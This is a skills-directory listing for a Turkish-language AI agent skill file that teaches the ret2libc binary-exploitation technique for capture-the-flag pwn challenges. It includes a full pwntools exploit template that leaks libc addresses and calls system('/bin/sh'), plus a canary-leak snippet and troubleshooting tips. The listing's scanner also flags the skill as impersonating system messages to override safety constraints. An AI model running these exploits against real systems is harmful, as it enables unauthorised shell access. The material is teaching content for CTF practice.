Skip to content
Back to skills

Ret2libc

BSecurity

NX açık, ASLR varsa libc leak + system("/bin/sh") zinciri

  • 4 stars
  • 0 votes
  • 0 copies
  • 3 views
  • Added September 8, 2026
securitypythongoshellbashgitdatabase

Works with

  • cli

Security analysis

B88/100
  • criticalImpersonates system messages to override safety constraints

Pro shows the line behind each finding and how to fix it

Scanned September 8, 2026

npx -y skills add MustafaKemal0146/fetih --skill ret2libc --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Ret2libc?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Ret2libc
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/mustafakemal0146-ret2libc/badge)](https://www.skillsdirectory.com/skills/mustafakemal0146-ret2libc)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: ret2libc
description: NX açık, ASLR varsa libc leak + system("/bin/sh") zinciri
tags: [ctf, pwn, ret2libc, rop, libc-leak, system, plt, got, aslr-bypass]
triggers:
  - "NX enabled"
  - "ASLR açık"
  - "libc leak"
  - "puts@plt"
  - "system /bin/sh"
  - "return to libc"
  - "got overwrite"
  - "64-bit binary"
difficulty: medium
category: pwn
solved_challenges:
  - "DiceCTF 2024 - baby-talk (off-by-one + libc leak)"
  - "Google CTF 2023 - write-flag-where"
adapted_for: fetih
---

# Ret2Libc — NX + ASLR Bypass

## Ne Zaman Kullan

`checksec` çıktısında şunu görürsen bu teknik devreye girer:

```
    Arch:     amd64-64-little
    RELRO:    Partial RELRO       ← GOT yazılabilir
    Stack:    No canary found     ← ya da canary var ama leak var
    NX:       NX enabled          ← shellcode çalışmaz, ROP lazım
    PIE:      No PIE              ← binary adresleri sabit (işimizi kolaylaştırır)
    ASLR:     Enabled             ← libc adresi her run'da değişir → leak şart
```

Genel kural:
- **NX enabled + No PIE + Partial RELRO** → klasik ret2libc, puts@plt ile GOT leak yap
- **NX enabled + PIE enabled** → binary leak de gerekir, daha zor
- **Full RELRO** → GOT overwrite olmaz, sadece read; libc leak yine mümkün

---

## 2-Stage ROP: Libc Leak → Shell

### Aşama 1: Libc Adresini Sızdır

ROP zinciri: `puts@plt(puts@got)` → `main()` (ikinci şans)

puts, got'taki kendi adresini stdout'a basar. Biz bu adresi okur,
libc base'i hesaplar, ikinci payload ile `system("/bin/sh")` çağırırız.

```
[padding] [pop rdi; ret] [puts@got] [puts@plt] [main]
```

### Aşama 2: Shell Al

```
[padding] [ret gadget] [pop rdi; ret] [/bin/sh str] [system]
```

`ret` gadget'i stack alignment içindir (x86_64'te `movaps` 16-byte hizalama ister).

---

## Tam pwntools Şablonu (64-bit)

```python
#!/usr/bin/env python3
# ret2libc_exploit.py — 64-bit NX+ASLR bypass
# Kullanım: python3 exploit.py [LOCAL|REMOTE] [host] [port]

from pwn import *

# ── Hedef ayarları ──────────────────────────────────────────────────────────
BINARY  = "./vuln"          # binary yolu
LIBC    = "./libc.so.6"     # ldd ile bul ya da patchelf ile çek
REMOTE_HOST = "chall.ctf.site"
REMOTE_PORT = 1337

context.binary = elf = ELF(BINARY)
libc = ELF(LIBC)
context.log_level = "info"   # debug için "debug"

# ── Bağlantı ────────────────────────────────────────────────────────────────
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST, REMOTE_PORT)
    return process(BINARY)

io = start()

# ── Gadget + Sembol Adresleri ────────────────────────────────────────────────
rop = ROP(elf)

POP_RDI = rop.find_gadget(["pop rdi", "ret"])[0]
RET     = rop.find_gadget(["ret"])[0]          # stack alignment için

PUTS_PLT = elf.plt["puts"]
PUTS_GOT = elf.got["puts"]
MAIN     = elf.symbols["main"]

log.info(f"pop rdi; ret  @ {hex(POP_RDI)}")
log.info(f"puts@plt      @ {hex(PUTS_PLT)}")
log.info(f"puts@got      @ {hex(PUTS_GOT)}")
log.info(f"main          @ {hex(MAIN)}")

# ── Offset Bul ──────────────────────────────────────────────────────────────
# cyclic_find ile ya da gdb pwndbg'de: cyclic 200 → crash → cyclic_find(rbp)
OFFSET = 72   # <-- bunu kendi binary'ne göre değiştir

# ── Stage 1: Libc Leak ───────────────────────────────────────────────────────
payload1  = b"A" * OFFSET
payload1 += p64(POP_RDI)
payload1 += p64(PUTS_GOT)
payload1 += p64(PUTS_PLT)
payload1 += p64(MAIN)       # leak sonrası main'e dön

io.recvuntil(b">>> ")       # programa özel prompt; gerekirse değiştir
io.sendline(payload1)

# puts çıktısını oku
leaked_bytes = io.recvline().strip().ljust(8, b"\x00")
puts_addr    = u64(leaked_bytes[:8])
log.success(f"puts@libc = {hex(puts_addr)}")

# ── Libc Base Hesapla ────────────────────────────────────────────────────────
libc.address  = puts_addr - libc.symbols["puts"]
log.success(f"libc base = {hex(libc.address)}")

SYSTEM   = libc.symbols["system"]
BIN_SH   = next(libc.search(b"/bin/sh\x00"))
log.info(f"system    @ {hex(SYSTEM)}")
log.info(f"/bin/sh   @ {hex(BIN_SH)}")

# ── Stage 2: Shell ───────────────────────────────────────────────────────────
payload2  = b"A" * OFFSET
payload2 += p64(RET)          # 16-byte stack hizalama (movaps için)
payload2 += p64(POP_RDI)
payload2 += p64(BIN_SH)
payload2 += p64(SYSTEM)

io.recvuntil(b">>> ")
io.sendline(payload2)

io.interactive()
```

---

## ASLR Offset Hesaplama

```python
# Leak aldıktan sonra libc base:
libc.address = leaked_addr - libc.symbols["leaked_func"]

# Doğrulama — her zaman 0x...000 ile bitmeli:
assert libc.address & 0xfff == 0, "Yanlış libc versiyonu!"

# one_gadget ile alternatif:
# $ one_gadget libc.so.6
# 0xe3b01 execve("/bin/sh", r15, rdx)   constraints: [r15 == NULL, rdx == NULL]
ONE_GADGET = libc.address + 0xe3b01
```

---

## Gerçek Örnek: DiceCTF 2024 — baby-talk

Binary `talk()` fonksiyonunda off-by-one ile RBP'yi kısmen kontrol ediyordu.
Akış:

1. **Off-by-one** → stack'te `puts@got` adresine pointer yaz
2. **İlk ROP** → `puts@plt(puts@got)` ile libc base hesapla
3. **İkinci ROP** → `system("/bin/sh")` çağır

```python
# baby-talk'a özel snippet
CANARY_OFF  = 31   # %31$p ile stack canary leak (printf zafiyeti de vardı)
OFFSET      = 40

# Canary leak (format string yardımcı vuln)
io.sendline(b"%31$p")
canary = int(io.recvline().strip(), 16)
log.success(f"canary = {hex(canary)}")

payload  = b"A" * OFFSET
payload += p64(canary)     # canary koru
payload += b"B" * 8       # saved rbp
payload += p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN)
```

---

## Tuzaklar

### 1. Stack Alignment (movaps crash)
`system()` içinde SSE talimatları 16-byte hizalı stack ister.
Çözüm: payload'a fazladan `ret` gadget ekle.

```python
# Hatalı:
payload = padding + p64(POP_RDI) + p64(BIN_SH) + p64(SYSTEM)

# Doğru:
payload = padding + p64(RET) + p64(POP_RDI) + p64(BIN_SH) + p64(SYSTEM)
```

### 2. Yanlış Libc Versiyonu
```bash
# Binary'nin kullandığı libc'yi bul:
ldd ./vuln
# /lib/x86_64-linux-gnu/libc.so.6 (0x00007f...)

# Sunucudaki versiyonu anlamak için leak ettikten sonra:
# libc.blukat.me sitesine puts offset'ini gir
# ya da libc-database kullan:
# $ ./find puts <leaked_offset>
```

### 3. puts Yetersiz Geldiğinde
Bazen `puts` GOT'ta yok. Alternatifler:
- `write@plt(1, write@got, 8)` → pop rdi + pop rsi + pop rdx gerekir
- `printf@plt(printf@got)` → format string riski (null byte sorunları)
- `__libc_start_main@got` → neredeyse her binary'de var

### 4. Null Byte Kesme
`puts()` null byte'ta durur. Leaked adres null içeriyorsa:
```python
# Güvenli okuma:
leak = io.recv(6).ljust(8, b"\x00")   # 48-bit adres için
addr = u64(leak)
```

### 5. one_gadget Başarısız
`one_gadget` constraint'leri karşılanmıyorsa:
```bash
one_gadget libc.so.6 -l 2   # daha fazla gadget listele
```
Ya da klasik `system("/bin/sh")` zincirini kullan.

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: 20d8b28c92c5c721
-->

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.